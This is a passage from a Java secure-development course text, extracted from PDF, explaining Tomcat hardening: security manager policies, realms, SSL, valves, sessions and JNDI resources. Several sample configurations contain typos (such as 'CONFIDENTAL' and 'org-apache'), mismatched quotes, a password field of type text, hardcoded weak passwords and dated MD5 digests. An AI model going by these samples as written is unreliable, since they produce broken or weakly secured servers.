Most software downloaded can be checked that it has not been tamperedwith or that you are downloading the correct version and not a hackedversion. Tomcat uses a MD5 digest to make sure that you have downloadedthe correct version, if one bit was to change in the software the MD5 digestwill change. So when you have downloaded Tomcat, don't forget to comparethe MD5 digest with the official Tomcat website to check it's integrity.

Securing Tomcat

When moving Tomcat into Production a number of actions must be performedto secure Tomcat, these are recommendations and you can choose toimplement or not implement them. To start with I will discuss securing theTomcat instance then discuss securing the Web application

Securing the Tomcat Instance

Remove defaultapplications

By default Tomcat ships with a number of Web applications which are installed and ready to run

ROOT: contains the simple default welcome page docs: Tomcat documentation examples: Simple examples of JSPs and servlets demonstrating Tomcat manager and host-manager: Two powerful system applications to make administrating

virtual hosts and the Tomcat servers more convenient

These all should be removed from a Production environment, manager and host-managerpresent the greatest security risk.

Changing theshutdowncommand

By default Tomcat can be shutdown by connecting to Tomcat on port 8005 (default) and sendingthe following character sequence

SHUTDOWN

You might want to change the character sequence and port number

<server port="8098" shutdown="goingdown">

Run Tomcat underits own account

Many applications require this, by using its own user account it has less operating systemprivileges. The startup scripts can "su" to the Tomcat account to start Tomcat.

Securing theFilesystem

This is standard operating system stuff, by using a Tomcat account and making sure the filepermissions are set correctly you reduce the risk that if Tomcat is compromised the whole serveris still secure.

Page 188: Java secure development   part 3

677 | P a g e

Securing the JVM By using a policy file you can restrict what classes are accessed, this file can be very fine grained.

Securing JVM

I mentioned above securing the JVM, here I go into more detail. By default thesecurity mechanism is turned off, but it can be turned on at any time

Enable the security manager via javacommand

$java -Djava.security.manager MyClass

Note: in Tomcat's run.sh script you can add the "java.security.manager" to the JAVA_OPTS variable

Enabling the security manager inTomcat

$ catalina.sh start -security

The security manager architecture is based on the concept of permissions,once the security is turned on, the application must have explicit permissionsto perform certain security-sensitive tasks (such as creating a custom classloader, opening a network socket).Policy files are used by the securitymanager to grant permissions to applications, they are simple text filescomposed of individual actions that applications are allowed to perform.

They are posed of grants like below

grant syntax

grant codeBase "URL" {// this is a commonpermission permission_class_name "target_name", "action";...

};

policy file example

grant {permissions java.lang.RuntimePermissions "stopThread";

}

grant codeBase "file:${java.home}/lib/ext/*" {permissions java.security.AllPermission;

}

Note: the first grant grants all applications the capability to access the deprecated Thread.stop() method

The second grant grants code in a specific location to use all other code, which effectively disables the security manager for that code

You can of course use more than one permission within a grant block, below isa list of the common permissions that you can grant

Page 189: Java secure development   part 3

678 | P a g e

Target Name Description

createClassLoader Allows an application to create a custom class loader

exitVM.{n} Allows an application to exit the JVM via the System.exit(n) method

java.security.AllPermissions All other permissions are granted, same as disabling the security manager

java.security.SecurityPermissions Allows programmatic access to various security features of the Java programming language

java.security.UnresolvedPermissionUsed as a placeholder when a policy file makes reference to a user defined permission class that had not been loaded at the timeof processing the policy file

java.awt.AWTPermission Controls various AWT permissions

java.io.FilePermission Restricts read, write, execute and delete access to files

java.io.SerializablePermission Allows serialization permissions

java.lang.reflect.ReflectPermission Allows applications to circumvent the public and private mechanisms access checks and reflectively access any method

java.lang.RuntimePermission Allows access to key runtime features (creating class loaders, exiting the JVM and reassigning STDIN, STDOUT and STDERR

java.net.NetPermission Allow various network permissions

java.net.SocketPermission Allows incoming socket connections, outgoing connections, listening on ports and resolving hostnames.

java.sql.SQLPermission Controls the setting of the JDBC log output writer

java.util.PropertyPermission Controls whether properties can be read from and written to

java.util.logging.LoggingPermission Allow the capability to configure the logging system

javax.net.ssl.SSLPermission Allows the capability to access SSL-related network functionality

javax.security.auth.AuthPermission Controls authentication permissions

javax.security.auth. andPrivateCredentialPermission

Controls various security permissions

javax.security.auth.kerberos. andDelegationPermission

Controls various security permissions related to the Kerberos protocol

javax.security.auth.kerberos. and Controls various security permissions related to the Kerberos protocol

Page 190: Java secure development   part 3

679 | P a g e

ServicePermission

javax.sound.sampled.AudioPermission Controls access to the sound system

Tomcat's Policy File

Tomcat uses the catalina.policy file in the conf directory to determine its ownpermissions and those of its Web applications. The file is broken into threesections

System Code Permissions - grants permissions for javac tool, its dealswith multiple paths that javac could be installed in

Catalina Code Permissions - grants permissions to startup classes,classes from the logging API, shared files between class loaders

System Properties Access Permissions - grants read-only access tovarious system properties and other miscellaneous permissions

Securing Web Applications

There are a number of ways to secure the Web applications, by using thefollowing techniques

Authentication and Realms Encryption Host Restriction

All the above techniques can be applied by modifying the XML configurationfiles of the Web application typically the web.xml file.

Authentication is the process of determining and validating the identify of anapplication client, the Servlet specification provides integration with the JavaAuthentication and Authorization Service (JAAS) API. Tomcat uses Realms toimplement user authentication, Realms hold authentication data that can beaccessed via programmatic security or via declarative security (config files).

Servlet-based applications have four authentication mechanisms to choosefrom

Page 191: Java secure development   part 3

680 | P a g e

BASICThe BASIC authentication mechanism is simplistic, it has some serious problems as it uses Base64 which is not very secure and the browser caches credentials afterauthentication.

DIGESTDIGEST is the next set up, it is the same as BASIC but the password is transmitted in a secure fashion, it performs a digest on the password (one way hash) beforesending it across the wire. It to has flaws the original password must be stored somewhere in plain text and it to suffers from the same browser caching problem.DIGEST can use either MD5 or SHA to hash the password.

FormThe browser does not help with the authentication, instead it creates a HTML form where the username and password is entered and passed to the servletcontainer, this can be secured by using HTTPS. However it has one flaw where the username and password must be stored somewhere on the servlet container,normally in plain text.

HTTPS ClientCertificate

When the browser establishes a connection, the browser is sent a public key certificate from the server, this certificate enables the browser to authenticate withthe server. This enables the browser to know the true identity of the server as certified(signed) by a trusted third party (such as VeriSign). This is the most securemethod but it too has flaw, if the key length used to encrypt the messages is to short then it becomes more vulnerable to attacks, also the theft of the private keywould result in the authentication becoming compromised.

Now for an example

Configuring Authentication

<web-app ...><security-constraint><web-resource-collection><web-resource-name>Entire Application</web-resource-name><url-pattern>/*</url-pattern>

</web-resource-collection><auth-constraint><role-name>manager</role-name>

</auth-constraint></security-constraint><login-config><auth-method>FORM</auth-method><realm-name>My Test Application</realm-name><form-login-config><form-login-page>/login.jsp</form-login-page><form-error-page>/error.jsp</form-error-page>

</form-login-config></login-config>...<security-role><role-name>manager</role-name>

</security-role></web-app>

Authentication Form<html><head><title>Please login</title><body><form method="POST" action="<%= response.encodeURL("j_security_check")%>">

Page 192: Java secure development   part 3

681 | P a g e

<table><tr><th>Username:</th><td><input type="text" name="j_username"></td>

</tr><tr><th>Password:</th><td><input type="text" name="j_password"></td>

</tr><tr><td><input type="submit" value="Log In"></td><td><input type="reset"></td>

</tr></table>

</form></body>

</html>

tomcat-users.xml

<tomcat-users><role rolename="guest"/><role rolename="manager"/><user username="vallep" password="secret" roles="manager,guest" />...

</tomcat-users>

I have also touched on web application security in my JSP feature.

Security Realms

Tomcat uses Realms which store the credentials that are used to authenticatethe client. A Realm is a standard programming interface defined in Tomcat foraccessing a users username, password and roles. Just to recap you can onlyhave one Realm in each of the following <Engine>, <Host> and <Context>elements, see Tomcat Architecture for more details.

Tomcat uses the concept of users and roles, users are assigned to a role and arole is given the permission to access resources. This concept is not new and isused in many other software applications. Because Tomcat separates theusers and roles they can be dynamically changed without restarting theinstance. Tomcat can use four built-in Realms

File-backed, in memory Realm JDBC Realm

Page 193: Java secure development   part 3

682 | P a g e

JNDI-based Realm JAAS-based Realm Custom Realms

File-based Realm maintains its authentication data in flat files, this file can beedited by a normal text editor. The file is in human readable text and theprimary built-in file-based Realm is called the UserDatabase.

UserDatabase reads the file when Tomcat is started and then uses memory toaccess the data, it has the following properties

The data in the Realm can be programmatically changed during thelifetime of the engine

UserDatabase is persistent, what this means is when Tomcat isshutdown any changes are written out to the file (tomcat-users.xml).

Configuring the UserDatabase(server.xml)

<GlobalNamingResources><!-- Editable user database that can also be used by UserDatabaseRealm to authenticate users--><Resource name="UserDatabase" auth="Container" type="org.apache.catalina.UserDatabase"

description="User database that can be updated and saved"factory="org.apache.catalina.users.MemoryUserDatabaseFactory"pathname="conf/tomcat-users.xml" />

</GlobalNamingResources>

Note: this Realm can now be accessed via JNDI

Make the UserDatabaseaccessible

<Realm className="org.apache.catalina.realm.UserDatabaseRealm" resourceName="UserDatabase"/>

Note: this would be placed in the <engine> container level

Using DIGEST algorithm

-- You can secure the above method more by using DIGEST instead of BASIC method

<Realm className="org.apache.catalina.realm.UserDatabaseRealm" resourceName="UserDatabase" digest="sha"/>

-- create the DIGEST password for the user# $CATALINA_HOME/bin/digest -a sha <password><password>:<DIGEST>

-- Now use the output <DIGEST> command into the tomcat-users.xml file

<user username="pvalle" password="<DIGEST>"

JDBC Realms are basically the same as a file-based Realm but you instead usea RDMS to hold the authentication data. I am not going to go into to muchdetail here as I have already covered JDBC connections.

Page 194: Java secure development   part 3

683 | P a g e

A JDBC Realm can use a number of attributes

JDBC Realm Component Attributes

Attribute Description

className The Java class that the Server uses by default it uses org.apache.catalina.realm.JDBCRealm

connectionName The JDBC connection username to be used

connectionPassword The JDBC connection password to be used

connectionURL The JDBC URL to be used to access the database

digest Specifies the digest algorithm to be used

driverName Name of the JDBC driver

userTable The actual name of the table in the database that matches the Users table in the required view.

userNameCol The actual column name of the column in both the Usertable and UserRoleTable that matches the User column in the required view

userCredCol The actual column name of the column in the Usertable that matches the Password column in the required view

userRoleTable The actual name of the table in the database that matches the user_roles table in the required view

roleNameCol The name of the column in the userRoleTable that matches the role_name column in the required view

Example

MySQL example

<Realm className="org.apache.catalina.realm.JDBCRealm"driverName="com.mysql.jdbc.Driver"connectionURL="jdbc:mysql://localhost/authority"connectionName="Tomcat" connectionPassword="password"userTable="users" userNameCol="login" userCredCol="password"userRoleTable="user_roles" roleNameCol="role"digest="md5"

/>

Note: don't forgot to comment out any other Realm

JNDI Realms (I have already discussed JNDI) store authentication data ina LDAP (Lightweight Directory Access Protocol) directory server and accesses itusing JNDI. I will leave you to investigate how to set this up but will give youthe attributes that are used

Page 195: Java secure development   part 3

684 | P a g e

JNDI Realm Component Attributes

Attribute Description

className The Java class that the Server uses by default it uses org.apache.catalina.realm.JNDIRealm

connectionName The username used to authenticate against the directory service via JNDI

connectionPassword The password used to authenticate against the directory service via JNDI

connectionURL The URL to locate the directory service

contextFactory Configures the Java programming language class used to create the a context for the JNDI connection

Digest Specifies the digest algorithm to be used

userPassword Maps the name of the directory attribute from the user element that contains the password information

userPattern Specifies an LDAP pattern for searching the directory for selecting user entry

roleName Maps the name of the directory attribute that contains the role name

roleSearch Specifies an LDAP pattern for searching the directory for selecting roles entry

roleBase Specifies the base element for the role searches

roleSubtree If set to true a subtree search will be conducted for the role, (default false).

JAAS Realms uses the Java Authentication and Authorization Service (JAAS) toauthenticate a user to provide access control. Again I will leave you toinvestigate how to set this up but will give you the attributes that are used

JAAS Realm Component Attributes

Attribute Description

className The Java class that the Server uses by default it uses org.apache.catalina.realm.JAASRealm

debug The debug level (0 means off)

appName The application name passed to the JAAS loginContext which uses it to select the set of relevant LoginModules

Page 196: Java secure development   part 3

685 | P a g e

roleClassNames Comma-delimited list of javax.security.Principlal classes that represent security roles

userClassNames Comma-delimited list of javax.security.Principlal classes that represent security roles

Example

<Realm className="org-apache.catalina.realm.JAASRealm"appName="Tomcat"roleClassNames="uk.co.datadisk.APrincipalImpl"userClassNames="uk.co.datadisk.AnotherPrincipalImpl"

/>

There are five steps in configuring a JAAS Realm

1. Perform the setup required for the actual authentication technology (i.esetup JNDI)

2. Write or obtain a Provider for the authentication technology3. Configure the Provider4. Make changes to the Java Security Policy5. Configure the Realm directive

Encryption with SSL

Secure Sockets Layer (SSL) is a protocol that enables secure communicationbetween clients and servers in a network environment. A pair of encryptionkeys are used (public key and private key) to encrypt/decrypt the messages,you encrypt the message with the public key and only the private can decryptit. When a client opens an SSL connection with a server an SSL handshake isperformed

1. The server sends a digital certificate to the client, this contains thepublic key of the server and other information

2. The client then authenticates the server based on the certificate andthe trustworthiness of the authority that issued the certificate(VeriSign). The user is warned if the certificate is not verified

3. A session key is then generated and encrypted with the public key andexchanged over the connection. The session key is then used for theduration of the session to encrypt all subsequent data transmissions.

Page 197: Java secure development   part 3

686 | P a g e

In order to use SSL you must have the SSL or TLS package downloaded andinstalled.

You can protect resources using SSL and there are three levels of integrity

NONE - means that there is no guarantee that data has not beentampered with

INTEGRAL - guarantees the integrity of the data (meaning that data hasnot been tampered with)

CONFIDENTIAL - guarantees that a third party has not intercepted thedata (the strongest)

using SSL

<security-constraint>...<user-data-constraint><description>Constrain the user data transport for the whole application</description><transport-guarantee>CONFIDENTAL</transport-guarantee>

</user-data-constraint></security-constraint>

Tomcat has a HTTPS connector already setup, you just need to uncomment it

Tomcat SSL connector

<Connectorport="8443"scheme="https"secure="true"SSLEnabled="true"keystoreFile="${user.home}/.keystore"clientAuth="false"sslProtocol="TLS"

/>

Securing DefaultServlet

Tomcat uses the DefaultServlet to serve any static web page that does notmap to a servlet, this is configured in conf/web.xml. If the resource is notfound Tomcat could display a file directory listing instead which is a securityrisk, by default is this disabled but you will want to make sure.

enable/disable directory <servlet><servlet-name>default</servlet-name>

Page 198: Java secure development   part 3

687 | P a g e

listings <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class><init-param>

<param-name>debug</param-name><param-value>0</param-value>

</init-param><init-param>

<param-name>listings</param-name><param-value>false</param-value>

</init-param><load-on-startup>1</load-on-startup>

</servlet>

Note: the text in bold is what enables/disables directory listing

Advanced Tomcat Features

The following subjects are discussed

Access Logs Single Sign-on Request Filtering Persistent Session Manager Tomcat and JDBC, JNDI JavaMail Session Configuring lifecycle listeners

Valves

Valves are specific to Tomcat, they are similar to filters, they can intercept anyincoming and outgoing request. Valves are managed by the Engine, theyaccess incoming/outgoing requests before they are handled by the servlet andJSP processing logic. Logically they can also be applied on a virtual host or webapplication basis. Valves can add the following functionality

Access logging Single sign-on for all Web applications Request filtering/blocking by IP address and or hostname Dumping of incoming/outgoing request headers for debugging

purposes

Page 199: Java secure development   part 3

688 | P a g e

Valves are nested components in the component model, they use the <valve>XML element in the server.xml file, they can be placed in the <Engine>, <Host>or <Context> containers. The Java programming interfaceorg.apache.catalina.Valve is used and well documented.

Access Log Implementation

The valve is completely separate from Tomcats logging, which captureswarning, error messages for the Tomcat server itself. Access Log Valves uses itown logic to examine each incoming request for Web resources and onlycaptures the access request information to its own log file, there are plenty oflog analysis tools that can be used against the log file.

The scope of logging depends on where the Valve is placed (Engine, Host,Context). Valves have attributes that can be applied for logging

Valve Component Attributes

Attribute Description Required?

className The Java class that the Service uses by default it uses org.apache.catalina.valves.AccessLogValve Yes

condition Provides conditional logging capability, you can control what is being logged No

directory The directory were the log files will be placed No

fileDateFormat Use this in conjunction with rotatable attribute to control the period of time between log rotation No

pattern

This attribute specifies the format used in the log. You can of course customize the format, or you can usethe common or combined format.

The shorthand pattern name common (which is also the default) corresponds to '%h %l %u %t "%r" %s %b'.

The shorthand pattern name combined appends the values of the referer and User-agent headers, each in double quotes, tothe common pattern above.

%a - Insert remote IP address %A - Insert local IP address %b - Insert bytes sent count, excluding HTTP headers; will show - if zero %B - Insert bytes sent count, excluding HTTP headers %h - Insert remote hostname %H - Insert request protocol %l - Insert remote logical username (always -)

No

Page 200: Java secure development   part 3

689 | P a g e

%m - Insert request method (POST or GET) %p - Insert the local TCP port on which the request was received %q - Insert the query string of the request %r - Insert the first line of the request %s - Insert the HTTP status code of the response %S - Insert the user session ID %t - Insert the date and time in common log file format %u - Insert the remote user that has been authenticated %U - Insert the URL path of the request %v - Insert the name of the local virtual host from the request

resolveHosts Determines if the log will contain hostnames via a reverse DNS lookup No

prefix The prefix added to the name of the log file No

suffix The suffix added to the name of the log file No

rotatable A boolean value, default is true which means support for rolling log files. This uses the fileDateFormat attribute. No

Valve Example

Example 1

<Valve className='org.apache.catalina.valves.FastCommonAccessLogValve'directory='logs'prefix='localhost_access_log'suffix='.log'pattern='common'resolveHost='false'

/>

Note: this is placed in the server.xml file, in either <Engine>, <Host>, <Context>

Example 2

<Valve className="org.apache.catalina.valves.AccessLogValve"prefix="my_test_app"suffix="log"pattern="common"resolveHost="false"

/>

Note: the FastCommonAccessLogValve does have improved performance supposedly but is the class deprecated.

Single Sign-On Implementation

When a user hits a protected web page the user is required to authenticate(sign-on), the Single Sign-on Valve caches this information on the server sideand will authenticate users using this cached information as they access otherprotected web pages, without this valve the user will be required toauthenticate at each protected web page.

Page 201: Java secure development   part 3

690 | P a g e

To enable Single Sign-on Valve for a virtual host, you place a <Valve> elementinside the <Host> element in the server.xml file as below

Single Sign-on <Valve className='org.apache.catalina.authenicator.SingleSignOn'/>

You need to restart both Tomcat and the Browser (due to cachedinformation). If you experience problems with Single Sign-on it is probably acaching issue so make sure all caches are flushed this includes both Tomcatand your Browser.

You can override the default authentication form by using the below, thisallows you to use different text encoding

Change defaultauthentication form

<Valve className='org.apache.catalina.authenticator.FormAuthenticator" characterEncoding=UTF-8"/>

Restricting Access (Request Filter)

A request filter can be a useful Valve as it can block of filter specific clientrequests, you can create your own security like policies to block IP addresses.

The Request filter has a number of attributes

Request Filter Component Attributes

Attribute Description Required?

className The Java class that the Service uses by default it uses org.apache.catalina.valves.RemoteAddrValve Yes

allow An IP address specified using a regular expression that matches the address of incoming requests No

deny An IP address specified using a regular expression that matches the address of incoming requests No

Request Filter Example

example<Valve className='org.apache.catalina.valves.RemoteAddrValve' allow='192.168.0.*,*.datadisk.co.uk'/>

<Valve className='org.apache.catalina.valves.RemoteAddrValve' deny='127.0.0.1'/>

Page 202: Java secure development   part 3

691 | P a g e

Request Dumper Valve

The request dumper valve dumps the headers and cookies or request andresponses to the log of the associated component, they serve two purposes

It visually illustrates how the scope of a Valve affects the request thatare processed

It is used to debug the actions of other Valves or to request processingcomponents

Request DumperFilter Example

example<Valve className='org.apache.catalina.valves.RequestDumperValve'/>

Note: this can be used in Engine, Host or Context

Persistent Sessions

By default persistent sessions is not configured, when Tomcat is shutdown allsession information is lost, also all timed out sessions session information islost. With Persistent Session Manager, the following can be enabled

Sessions that are inactive can be configured to be swapped to disk,thereby releasing memory.

When Tomcat is shutdown, all current sessions are saved to disk, Uponrestart all session is restored.

Sessions lasting beyond a specified threshold are automatically backedup on disk, enabling the system to survive an unexpected crash.

At this time the persistent manager is not ready for a production system (stillexperimental), so test thoroughly if you are going to use this.

You configure Persistent Session Manager via the <Manager> element in theWeb applications <Context> element, it is placed in the WEb applicationsMETA-INF/context.xml file, you can create a global version by adding tocontext.xml file in the conf directory.

The Persistent Session Manager has many attributes

Page 203: Java secure development   part 3

692 | P a g e

Persistent Session Manager Component Attributes

Attribute Description Required?

className The Java class that the Service uses by default it uses org.apache.catalina.session.PersistentManager Yes

algorithm The algorithm used for generating the session ID's, by default MD5 is used No

distributable When true the Session Manager will enforce that all session attributes be serializable, default is false No

entropyThe seed string value used in generating randomized session ID's by the persistence manager , default is a random computerizedvalue.

No

maxActiveSessionsThe maximum number of active sessions before swapping out the session via the Persistent Session Manager begins. The default is -1unlimited number of active sessions.

No

minIdleSwap The minimum number of seconds before a session will be considered for swapping, the default is -1 enables swapping at any time. No

minIdleSwapThe maximum number of seconds before a session is eligible to be swapped out to store, the default is -1 and the session will beswapped without an eligibility check

No

maxIdleBackup The number of seconds since a session was last active before it is backed up on the store, the default -1 means that backup is disabled No

randomClass use java.util.Random instead of the default java.security.SecureRandom No

saveOnRestartBy default Tomcat will save all the active sessions to the store upon shutdown and will reload the sessions from the store uponstartup, the default is true

No

sessionIdleLength The length of the session ID created by Session Manager instance, default is 16 No

storeUsed by the Persistent Session Manager to determine how and where to save the session. The only two available options areorg.apache.catalina.session.FileStore, org.apache.catalina.session.JDBCStore

1

Persistent Session Manager Example

Example

<Context><Manager className='org.apache.catalina.session.PersistentManager'

saveOnRestart='true'maxActiveSessions='3'minIdelSwap='0'maxIdleSwap='60'maxIdleBackup='0'>

<Store className='org.apache.catalina.session.FileStore'/></Manager>

</Context>

Note: normally this is in the Web applications WEB-INF/context.xml file

Page 204: Java secure development   part 3

693 | P a g e

The persistent session information is stored in work/Catalina/localhost/<webapp> directory, it will have the extension .session.

JNDI Resource Configuration

Java Naming and Directory Interface (JNDI) is an API used to lookupinformation pertaining to the network, it works with other naming anddirectory services (Active Directory, NIS, LDAP). Basically JNDI has drivers thatare used to access these other services.

Tomcat is a J2EE compliant and Servlet 2.4 compliant server that will facilitatethe use of JNDI by hosted Web applications.The WEb applications will use JNDIto retrieve JNDI resources, it does this by using standard programmingconventions and API's. The Tomcat container intercepts the standard JNDIrequests from the application, then it will use preconfigured resources(server.xml or context.xml) to determine what needs to be passed back to theapplication, Tomcat basically provides a JNDI emulation service for accessingthese resources.

There are two commonly used JNDI resources that are used but there aremany others

A JDBC Datasource A JavaMail Session

Page 205: Java secure development   part 3

694 | P a g e

To access data from a database, the application must first obtain an initialContext DataSource object. For an application to access mail servers and sendmail, the application must obtain a JavaMail Session object.

I will now explain how to setup both but first a quick look at how toconfiguring Resources via JNDI

You have three options for configuring the resource within the hierarchy ofTomcat configuration components

At the servers global level <GlobalNamingResources> (available acrossall services and engines - conf/server.xml)

At the virtual hosts level <DefaultContext> (available to all Webapplications - <Hosts> component in conf/server.xml)

At the <Context> level associated with a single Web app, residing in theapplications Context Descriptor XML file (META-INF/context.txt)

You can add subelements to the <DefaultContext> and <Context> level

JNDI Resource Component Subelements

Subelement Description How Many?

Environment Create environment entries available from the JNDI InitialContext that Tomcat will supply to an application 0 or more

Resource Provides the name of the datatype of a JNDI resource to the application 0 or more

ResourceParams Specifies the Java programming class that is used to create the resources, and specifies a configuration JavaBean 0 or more

ResourceLink Adds a link to the resource defined in the <GlobalNamingResource> element, which is server-wide 0 or more

Each of the above subelements can have attributes

Environment Attributes

Attribute Description Required?

name The JNDI name for this element Yes

Page 206: Java secure development   part 3

695 | P a g e

type Java class name of the datatype represented by this element Yes

value The actual value of the environment entry Yes

description Text description for this element No

overrideApplication programmers can use the <env-entry> element to override the one defined here. You can disable this by setting it tofalse

No

Resource Attributes

Attribute Description Required?

name Name of the resource Yes

type Java class name of the datatype represented by this resource Yes

authIndicates who does the authenication, if application then the application itself must sign on with the resource manager,if container then the container does a sign-on with the resource manager.

No

description Text description for this resource No

scope Can be either Shareable or UnShareable, which determines if the resource can be shared No

ResourceParams Attributes

Attribute Description Required?

name Name of corresponding resource Yes

ResourceLink Attributes

Attribute Description Required?

global The name of the resource being linked to Yes

name The name of the resource, accessible by the Web application via JNDI lookup Yes

type Java class name indicating the type of the resource returned Yes

Examples

Environment<Environment name='maxUsers' type='java.lang.Integer' value='100'/>

Note: will add a JNDI entry named maxUsers with a value of 100

Page 207: Java secure development   part 3

696 | P a g e

Resource

<Resource name='myDatabase' type='org.apache.catalina.UserDatabase'></Resource>

Note: add a JNDI addressable resource called 'myDatabase' that has a type of 'UserDatabase', this could be in <GlobalNamingResource> so that all servers andengines can have access to it

ResourceParams

<ResourceParams name='jdbc/datadiskDatabase'><parameter>

<name>password</name><value>datadisk123</value>

</parameter></ResourceParams>

Note: you can add as many <name>/<value> pairs as you like and are referenced using the JNDI name jdbc/datadiskDatabase

ResourceLink<ResourceLink name='localDatabase' global='myDatabase' type='org.apache.catalina.UserDatabase'/>

Note: you can link <GlobalNamingResource> elements in to a single Web applications <Context> element, here we link the JNDI addressable resource calledlocalDatabase to the global JNDI addressable resource myDatabase

I am only going to touch on how to configure a JDBC resource

JDBC Resource Example

Setup the Resource

File: webapps/<app name>/META-INF/context.xml

<Context>...<Resource name='jdbc/datadiskDB' auth='Container' type='javax.sql.DataSource'/>

Setup the ResourceParams

File: webapps/<app name>/META-INF/context.xml

<ResourceParams name='jdbc/datadiskDB'><parameter>

<name>driverClassName</name><value> com.mysql.jdbc.Driver </value>

</parameter><parameter>

<name>url</name><value>jdbc:mysql://localhost/datadisktomcat</value>

</parameter>...

</ResourceParams>

Note: there are other params that you need but i think you get the idea

Declare the resource in the deploymentdescriptor

file: webapps/<app name>/META-INF/web.xml

<resource-ref><res-ref-name> jdbc/datadiskDB</res-ref-name><res-type> javax.sql.Datasource</res-type><res-auth> Container <res-auth>

</resource-ref>

Page 208: Java secure development   part 3

697 | P a g e

Java Code

private final Object lock = new Object();...Connection myConn = null;sychronized(lock) {

Context myInitialContext = new InitialContext();Context localContext = (Context) myInitialContext('java:comp/env');DataSource myDataSource = (DataSource) localContext.lookup('jdbc/datadiskDB');myConn = myDataSource.getConnection();

}...

Now a quick look at setting up JavaMail

JavaMail Resource Example

Setup the Resource and ResourceParams

File: webapps/<app name>/META-INF/context.xml

<Context privileged='true' ><Resource name='mail/Session' auth='Container' type='javax.mail.Session'/><ResourceParams name='mail/Session'><parameter><name>mail.smtp.host</name><value>localhost</value>

</parameter></ResourceParams>

</Context>

Declare the resource in the deploymentdescriptor

file: webapps/<app name>/META-INF/web.xml

<resource-ref><res-ref-name> mail/Session </res-ref-name><res-type> javax.mail.Session</res-type><res-auth> Container <res-auth>

</resource-ref>

Download the JavaMail libraries http://java.sun.com/products/javamail/downloads/index.html

Compile the SendMailServlet

copy the SendMailServlet.class file to webapps/<web app>/WEB-INF/classes directory

file: webapps/<app name>/META-INF/web.xml

<servlet><servlet-name>SendMailServlet</servlet-name><servlet-class>SendMailServlet</servlet-class>

</servlet>

<servlet-mapping><servlet-name>SendMailServlet</servlet-name><url-pattern>/mail/SendMailServlet</url-pattern>

</servlet-mapping>

Creating the sendmail.jsp copy the sendmail.jsp to webapps/<web app>/jsp/mail directory

Page 209: Java secure development   part 3

698 | P a g e

Access the web page http://localhost:8080/<web app>/jsp/mail/sendmail.jsp

Configuring LifeCycle Listeners

Many top-level components (Server, Service, Realms, etc) support theconfiguration of lifecycle listeners. Lifecycle listeners are Java modules that canbe hooked into the server logic and executed during specific moments duringthe lifecycle of a component. This enables functionality to be introduced tothe server without having to change the core server code base.

Lifecycle listeners are code that listens to specific lifecycle events, these pointsinclude

Just before component startup During component startup Just after component startup Just before component startup During component stop Just after component stop

You may use lifecycle listeners to add new processing logic to the server. Youuse the <Listener> element inside the associated component, listeners are nota nested component, they should be thought of as an extended attribute ofthe containing XML element.

Multiple listeners can be associated with a single component Each listener can be configured with its own set of attributes.

Listener Element

Attribute Description Required?

className Java class that implements the listener logic, by default org.apache.catalina.LifecycleListener Yes

descriptors semi-colon separated list of MBean descriptor XML files No

Listener Example

Page 210: Java secure development   part 3

699 | P a g e

example

<Server port='8005' shutdown='SHUTDOWN' debug='0'><Listener className="org.apache.catalina.core.AprLifecycleListener"/><Listener className="org.apache.catalina.mbeans.ServerLifecycleListener"/><Listener className="org.apache.catalina.mbeans.GlobalResourcesLifecycleListener"/><Listener className="org.apache.catalina.storeconfig.StoreConfigLifecycleListener"/>

Note: the above is the default JMX MBean support listeners

Displaying MBeans Created by Lifecycle Listeners (using JMX proxy)

http://localhost:8080/manager/jmxproxy/?qry=*%3Atype%3DRole%2C*

I will be discussing JMX MBeans in a later topic, basically they are objects thatenable Tomcat components, structures and resources to be monitored oraccessed via an external management system.

To remove a listener just comment out the <Listener> element. There are twoother listeners that you should be aware off the APR lifecycle listener and theJSP processor listener, these are configured by default, they both initializethere respected components APR and JSP processor (Jasper).

Apache Tomcat 7More on Cat's Configuration

Read "How to Install and Get Started with Tomcat". I shall assume that Tomcat is installedin d:\myproject\tomcat and shall denote the Tomcat's installed directoryas $CATALINA_HOME (Catalina is the codename for Tomcat 5 and above).

Deploying Your Web Application in TomcatCreating a Web ContextA web context is a web application running under Tomcat. There are two ways to create a webcontext:

1. (RECOMMENDED) Create a directory under $CATALINA_HOME\webapps and store your webapplication resources under this directory. A context will be created automatically based onname of the directory.

2. Alternatively, you can write a <Context> element in $CATALINA_HOME\conf\server.xml, tospecify both the context's URL and the base directory, as follows:

3. ......4. ......5. <Context path="/ws" docBase="d:/workshop" reloadable="true">6. </Context>

Page 211: Java secure development   part 3

700 | P a g e

7. </Host>8. </Engine>9. </Service>

</Server>

In the above example, we define a web context called "ws", with context root (docBase ordocument base directory) at "d:\workshop". This application can be accessed by the web usersvia URL http://serverhostname:port/ws.

Directory Structure of a Web Context

All the Java web application (servlet, JSP, JSF, web services) follows a standard structure, whichenables deployment in a Java-capable web server (such as Apache Tomcat and Glassfish). A webcontext may contain many types of files, such as HTML, CSS, Scripts, images, JSP, servlet, utilityclasses, external lib aries (jar files). All these files are to be kept under a standard directory structure,as illustrated:

WebContextRoot: The directory that your application resides is called the contextroot (or document base directory). You should keep all your HTML files and resources visible tothe web users (e.g., CSS, Scripts, images, JSPs) under the context root. You can create sub-directory, such as scripts and images, under the context root.

WebContextRoot\WEB-INF: This directory, although under the context root, is not visible to theweb users. This is where you keep your application specific configuration files such as web.xml.

WebContextRoot\WEB-INF\classes: This is where you keep all the Java classes such as servletsclass-files

WebContextRoot\WEB-INF\lib: This is where you keep the jar files and native libraries, fromexternal parties.

WebContextRoot\WEB-INF\src: You can keep your source files here or outside the web context.Source files are usually not distributed in production.

WebContextRoot\META-INF: Like WEB-INF, this directory is also not visible to the web users. Thisis for Tomcat specific configuration option files, such as context.xml.

Page 212: Java secure development   part 3

701 | P a g e

Tomcat's Global Configuration FilesTomcat has three global configuration files (applicable to all web applications)at $CATALINA_HOME\conf: $CATALINA_HOME\conf\server.xml: Tomcat main configuration file. $CATALINA_HOME\conf\web.xml: web application deployment descriptors, for all the web

contexts. $CATALINA_HOME\conf\context.xml: Tomcat specific configuration options.

Web Application Deployment Descriptors - "web.xml"The "web.xml" contains the deployment descriptors. There are two sets of web.xml:

1. $CATALINA_HOME\conf\web.xml: applicable to all web application under Tomcat.2. WebContextRoot\WEB-INF\web.xml: applicable to the specific web context. It overrides the

global setting, if any.The complete specification for "web.xml" can be found in the "Java Servlet Specification"(@ http://java.sun.com/products/servlet), under "Deployment Descriptor".

